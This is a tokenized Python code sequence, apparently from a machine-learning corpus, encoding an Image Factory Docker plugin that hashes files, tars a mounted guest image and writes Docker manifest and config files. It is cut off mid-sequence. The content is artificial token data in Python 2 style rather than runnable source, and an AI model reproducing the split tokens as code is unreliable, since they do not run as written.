"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "did_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Docke", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "file", "\\u", "sha256_", "(_", "self_", ",_", "filename_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "filename_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hasher_", "=_", "hashlib_", "._", "sha256_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "chunk_", "=_", "f_", "._", "read_", "(_", "2_", "**_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "chunk_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hasher_", "._", "update_", "(_", "chunk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "hasher_", "._", "hexdigest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Docke", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "builde", "r", "\\u", "shou", "ld", "\\u", "create", "\\u", "target", "\\u", "image_", "(_", "self_", ",_", "builder_", ",_", "target_", ",_", "image", "\\u", "id_", ",_", "template_", ",_", "parameters_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log_", "._", "debug_", "(_", "\"", "builde", "r", "\\u", "shou", "ld", "\\u", "create", "\\u", "target", "\\u", "image", " ", "call", "ed", " ", "for", " ", "Docke", "r", " ", "plugin", " ", "-", " ", "doi", "ng", " ", "all", " ", "our", " ", "work", " ", "here", " ", "then", " ", "stopping", " ", "the", " ", "process", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "td", "lob", "j_", "=_", "oz", "_", "._", "TD", "L_", "._", "TD", "L_", "(_", "xmlstr", "ing_", "=_", "template_", "._", "xml_", ",_", "rootp", "w", "\\u", "required_", "=_", "self_", "._", "app", "\\u", "config_", "[_", "\"", "td", "l\\u", "require", "\\u", "root", "\\u", "pw", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "At", " ", "this", " ", "point", " ", "our", " ", "input", " ", "base", "\\u", "image", " ", "is", " ", "avail", "able", " ", "as", " ", "builde", "r", ".", "base", "\\u", "image", ".", "data_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "simp", "ly", " ", "mount", " ", "it", " ", "up", " ", "in", " ", "libg", "ues", "tfs", " ", "and", " ", "tar", " ", "out", " ", "the", " ", "results", " ", "as", " ", "builde", "r", ".", "target", "\\u", "image", ".", "data_", "\\u\\u\\uNL\\u\\u\\u_", "wrap", "\\u", "metadata_", "=_", "parameter", "\\u", "cast", "\\u", "to", "\\u", "bool_", "(_", "parameters_", "._", "get_", "(_", "'", "create", "\\u", "docker", "\\u", "metadata", "'_", ",_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compress", "\\u", "type_", "=_", "parameters_", "._", "get_", "(_", "'", "compress", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "compress", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "compress", "\\u", "type_", "in_", "self_", "._", "compress", "\\u", "commands_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "compress", "\\u", "command_", "=_", "self_", "._", "compress", "\\u", "commands_", "[_", "compress", "\\u", "type_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "\"", "Passe", "d", " ", "unknown", " ", "compress", "ion", " ", "type", " ", "(%", "s", ")", " ", "for", " ", "Docke", "r", " ", "plugin", "\"_", "%_", "(_", "compress", "\\u", "type_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "compress", "\\u", "command_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "guest", "fs", "\\u", "handle_", "=_", "launch", "\\u", "inspect", "\\u", "and", "\\u", "mount_", "(_", "builder_", "._", "base", "\\u", "image_", "._", "data_", ",_", "readonly_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "storage", "dir_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "builder_", "._", "target", "\\u", "image_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "guest", "fs", " ", "lets", " ", "us", " ", "mount", " ", "local", "ly", " ", "via", " ", "the", " ", "API", ",", " ", "whi", "ch", " ", "is", " ", "cool", ",", " ", "but", " ", "require", "s", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "call", " ", "a", " ", "blockin", "g", " ", "function", " ", "to", " ", "activat", "e", " ", "the", " ", "mount", ",", " ", "whi", "ch", " ", "require", "s", " ", "a", " ", "thread_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "als", "o", " ", "need", " ", "a", " ", "temp", " ", "dir", " ", "to", " ", "mount", " ", "it", " ", "to", " ", "-", " ", "do", " ", "our", " ", "best", " ", "to", " ", "clean", " ", "up", " ", "whe", "n", " ", "things_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "go", " ", "wrong", "_", "\\u\\u\\uNL\\u\\u\\u_", "tempdir_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fuse", "\\u", "thread_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tempdir_", "=_", "tempfile_", "._", "mkdtemp_", "(_", "dir_", "=_", "storage", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Mount", "ing", " ", "input", " ", "image", " ", "local", "ly", " ", "at", " ", "(%", "s", ")\"_", "%_", "(_", "tempdir_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "guest", "fs", "\\u", "handle_", "._", "mount", "\\u", "local_", "(_", "tempdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "run", "\\u", "guest", "mount_", "(_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "._", "mount", "\\u", "local", "\\u", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Launch", "ing", " ", "mount", "\\u", "local", "\\u", "run", " ", "thread", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fuse", "\\u", "thread_", "=_", "threading_", "._", "Thread_", "(_", "group_", "=_", "None_", ",_", "target_", "=_", "\\u", "run", "\\u", "guest", "mount_", ",_", "args_", "=_", "(_", "guest", "fs", "\\u", "handle_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fuse", "\\u", "thread_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Creat", "ing", " ", "tar", " ", "of", " ", "entire", " ", "image", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Us", "e", " ", "acl", "s", " ", "and", " ", "xattr", "s", " ", "to", " ", "ensure", " ", "SEL", "inu", "x", " ", "data", " ", "is", " ", "not", " ", "lost_", "\\u\\u\\uNL\\u\\u\\u_", "tar", "cmd_", "=_", "[_", "'", "tar", "'_", ",_", "'-", "cf", "'_", ",_", "builder_", "._", "target", "\\u", "image_", "._", "data_", ",_", "'-", "C", "'_", ",_", "tempdir_", ",_", "'--", "acl", "s", "'_", ",_", "'--", "xattr", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "User", " ", "may", " ", "pass", " ", "in", " ", "a", " ", "comma", " ", "separate", "d", " ", "list", " ", "of", " ", "excludes", " ", "to", " ", "override", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Default", " ", "to", " ", "./", "etc", "/", "fsta", "b", " ", "as", " ", "many", " ", "people", " ", "have", " ", "compl", "aine", "d", " ", "this", " ", "doe", "s", " ", "not", " ", "belo", "ng", " ", "in", " ", "Docke", "r", " ", "images_", "\\u\\u\\uNL\\u\\u\\u_", "tar", "\\u", "excludes_", "=_", "parameters_", "._", "get_", "(_", "'", "tar", "\\u", "excludes", "'_", ",_", "'./", "etc", "/", "fsta", "b", "'_", ")_", "._", "split_", "(_", "','_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "exclude_", "in_", "tar", "\\u", "excludes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tar", "cmd_", "._", "append_", "(_", "'--", "exclu", "de", "=", "%", "s", "'_", "%_", "(_", "exclude_", "._", "strip_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tar", "cmd_", "._", "append_", "(_", "'./'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Command", ":", " ", "%", "s", "\"_", "%_", "(_", "str_", "(_", "tar", "cmd_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "tar", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "wrap", "\\u", "metadata_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Estimat", "ing", " ", "size", " ", "of", " ", "tar", " ", "content", "s", " ", "to", " ", "include", " ", "in", " ", "Docke", "r", " ", "metadata", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "size_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "root_", ",_", "dirs_", ",_", "files_", "in_", "os_", "._", "walk_", "(_", "tempdir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "name_", "in_", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "fp_", "=_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "fp_", ")_", "and_", "not_", "os_", "._", "path_", "._", "islink_", "(_", "fp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "size_", "+=_", "os_", "._", "path_", "._", "getsize_", "(_", "fp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Total", " ", "real", " ", "file", " ", "content", " ", "size", " ", "(%", "d", ")\"_", "%_", "(_", "size_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log_", "._", "exception_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "tempdir_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "'", "umount", "'_", ",_", "'-", "f", "'_", ",_", "tempdir_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "rmdir_", "(_", "tempdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "log_", "._", "exception_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "error_", "(_", "\"", "WARN", "ING", ":", " ", "Cou", "ld", " ", "not", " ", "unmo", "unt", " ", "guest", " ", "at", " ", "(%", "s", ")", " ", "-", " ", "may", " ", "still", " ", "be", " ", "mounte", "d", "\"_", "%_", "(_", "tempdir_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "fuse", "\\u", "thread_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fuse", "\\u", "thread_", "._", "join_", "(_", "30.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fuse", "\\u", "thread_", "._", "is", "Alive_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "log_", "._", "error_", "(_", "\"", "Gue", "stf", "s", " ", "local", " ", "mount", " ", "thread", " ", "is", " ", "still", " ", "active", " ", "-", " ", "FU", "SE", " ", "filesystem", " ", "still", " ", "mounte", "d", " ", "at", " ", "(%", "s", ")\"_", "%_", "(_", "tempdir_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "wrap", "\\u", "metadata_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "any", " ", "parameter", "s", " ", "and", " ", "if", " ", "the", "y", " ", "are", " ", "not", " ", "set", ",", " ", "create", " ", "our", " ", "defaults_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Docke", "r", " ", "image", " ", "names", " ", "shou", "ld", " ", "not", " ", "have", " ", "upper", "case", " ", "character", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "fedo", "rah", "ost", "ed", ".", "org", "/", "cloud", "/", "tick", "et", "/", "131_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "repository_", "=_", "parameters_", "._", "get_", "(_", "'", "repos", "itor", "y", "'_", ",_", "td", "lob", "j_", "._", "name_", ")_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag_", "=_", "parameters_", "._", "get_", "(_", "'", "tag", "'_", ",_", "'", "late", "st", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "docker", "\\u", "image", "\\u", "id_", "=_", "parameters_", "._", "get_", "(_", "'", "docker", "\\u", "image", "\\u", "id", "'_", ",_", "self_", "._", "\\u", "generat", "e\\u", "docker", "\\u", "id_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "parameters_", "._", "get_", "(_", "'", "docker", "\\u", "cmd", "'_", ",_", "'", "null", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "=_", "parameters_", "._", "get_", "(_", "'", "docker", "\\u", "env", "'_", ",_", "'", "null", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "label_", "=_", "parameters_", "._", "get_", "(_", "'", "docker", "\\u", "label", "'_", ",_", "'", "null", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rdi", "ct_", "=_", "{_", "repository_", ":_", "{_", "tag_", ":_", "docker", "\\u", "image", "\\u", "id_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "docker", "version_", "=_", "parameters_", "._", "get_", "(_", "'", "docker", "version", "'_", ",_", "'", "0.11", ".1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "docker", "version_", "in_", "self_", "._", "docker", "\\u", "template", "s", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "\"", "No", " ", "docker", " ", "JSO", "N", " ", "template", " ", "avail", "able", " ", "for", " ", "specified", " ", "docker", " ", "version", " ", "(%", "s", ")\"_", "%_", "(_", "docker", "version_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "docker", "\\u", "json", "\\u", "template_", "=_", "self_", "._", "docker", "\\u", "template", "s", "\\u", "dict_", "[_", "docker", "version_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "arch_", "=_", "td", "lob", "j_", "._", "arch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "arch_", "==_", "\"", "x8", "6", "\\u", "64", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arch_", "=_", "\"", "am", "d6", "4", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "arch_", "==_", "\"", "armv", "7", "hl", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arch_", "=_", "\"", "arm", "hf", "p", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tdi", "ct_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tdi", "ct_", "[_", "'", "comment", "string", "'_", "]_", "=_", "parameters_", "._", "get_", "(_", "'", "comment", "'_", ",_", "'", "Creat", "ed", " ", "by", " ", "Image", " ", "Factor", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tdi", "ct_", "[_", "'", "os", "'_", "]_", "=_", "parameters_", "._", "get_", "(_", "'", "os", "'_", ",_", "'", "linux", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tdi", "ct_", "[_", "'", "created", "time", "'_", "]_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "._", "strftime_", "(_", "'%", "Y", "-%", "m", "-%", "d", "T", "%", "H", ":", "%", "M", ":", "%", "SZ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tdi", "ct_", "[_", "'", "arch", "'_", "]_", "=_", "arch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tdi", "ct_", "[_", "'", "ids", "tring", "'_", "]_", "=_", "docker", "\\u", "image", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tdi", "ct_", "[_", "'", "cmd", "'_", "]_", "=_", "cmd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tdi", "ct_", "[_", "'", "env", "'_", "]_", "=_", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tdi", "ct_", "[_", "'", "label", "'_", "]_", "=_", "label_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tdi", "ct_", "[_", "'", "size", "'_", "]_", "=_", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "image", "\\u", "json_", "=_", "docker", "\\u", "json", "\\u", "template_", "._", "format_", "(_", "**_", "tdi", "ct_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "v2", " ", "images_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "Some", "thing", " ", "significant", "ly", " ", "less", " ", "hack", "y", " ", "look", "ing", ".....", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "docker", "version_", "==_", "\"", "1.1", "0.", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sha", "sum_", "=_", "self_", "._", "\\u", "file", "\\u", "sha256_", "(_", "builder_", "._", "target", "\\u", "image_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "image", "\\u", "v2", "\\u", "config_", "=_", "json_", "._", "loads_", "(_", "image", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "new", " ", "top", " ", "level", " ", "JSO", "N", " ", "file", " ", "is", " ", "a", " ", "light", " ", "modification", " ", "of", " ", "the", " ", "layer", " ", "JSON_", "\\u\\u\\uNL\\u\\u\\u_", "del_", "image", "\\u", "v2", "\\u", "config_", "[_", "'", "Size", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "image", "\\u", "v2", "\\u", "config_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "image", "\\u", "v2", "\\u", "config_", "[_", "'", "histo", "ry", "'_", "]_", "=_", "[_", "{_", "'", "comment", "'_", ":_", "image", "\\u", "v2", "\\u", "config_", "[_", "'", "comment", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "'_", ":_", "image", "\\u", "v2", "\\u", "config_", "[_", "'", "created", "'_", "]_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "image", "\\u", "v2", "\\u", "config_", "[_", "'", "rootfs", "'_", "]_", "=_", "{_", "'", "diff", "\\u", "ids", "'_", ":_", "[_", "\"", "sha2", "56", ":", "%", "s", "\"_", "%_", "(_", "sha", "sum_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "type", "'_", ":_", "'", "layer", "s", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Docke", "r", " ", "want", "s", " ", "this", " ", "config", " ", "file", " ", "to", " ", "be", " ", "named", " ", "after", " ", "its", " ", "own", " ", "sha2", "56", " ", "sum_", "\\u\\u\\uNL\\u\\u\\u_", "image", "\\u", "v2", "\\u", "config", "\\u", "id_", "=_", "hashlib_", "._", "sha256_", "(_", "json_", "._", "dumps_", "(_", "image", "\\u", "v2", "\\u", "config_", ")_", ")_", "._", "hexdigest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "image", "\\u", "v2", "\\u", "manifest_", "=_", "[_", "{_", "\"", "Config", "\"_", ":_", "\"%", "s", ".", "json", "\"_", "%_", "(_", "image", "\\u", "v2", "\\u", "config", "\\u", "id_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Layer", "s", "\"_", ":_", "[_", "\"%", "s", "/", "layer", ".", "tar", "\"_", "%_", "(_", "docker", "\\u", "image", "\\u", "id_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Rep", "o", "Ta", "gs", "\"_", ":_", "[_", "\"%", "s", ":", "%", "s", "\"_", "%_", "(_", "repository_", ",_", "tag_", ")_", "]_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "directory_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "storage", "dir_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "builder_", "._", "target", "\\u", "image_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tempdir_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tempdir_", "=_", "tempfile_", "._", "mkdtemp_", "(_", "dir_", "=_", "storage", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Creat", "ing", " ", "docker", " ", "image", " ", "director", "y", " ", "structure", " ", "in", " ", "(%", "s", ")\"_", "%_", "(_", "tempdir_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "repos", "itori", "es", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "tempdir_", ",_", "'", "repos", "itori", "es", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repositories_", "=_", "open_", "(_", "repos", "itori", "es", "\\u", "path_", ",_", "\"", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json_", "._", "dump_", "(_", "rdi", "ct_", ",_", "repositories_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repositories_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "docker", "version_", "==_", "\"", "1.1", "0.", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "config", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "tempdir_", ",_", "'%", "s", ".", "json", "'_", "%_", "(_", "image", "\\u", "v2", "\\u", "config", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "=_", "open_", "(_", "config", "\\u", "path_", ",_", "\"", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json_", "._", "dump_", "(_", "image", "\\u", "v2", "\\u", "config_", ",_", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "manifest", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "tempdir_", ",_", "'", "manifest", ".", "json", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manifest_", "=_", "open_", "(_", "manifest", "\\u", "path_", ",_", "\"", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json_", "._", "dump_", "(_", "image", "\\u", "v2", "\\u", "manifest_", ",_", "manifest_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manifest_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "image", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "tempdir_", ",_", "docker", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "mkdir_", "(_", "image", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "jsonfi", "le", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "image", "dir_", ",_", "'", "json", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "jsonfi", "le_", "=_", "open_", "(_", "jsonfi", "le", "\\u", "path_", ",_", "'", "w", "'_", ")_", 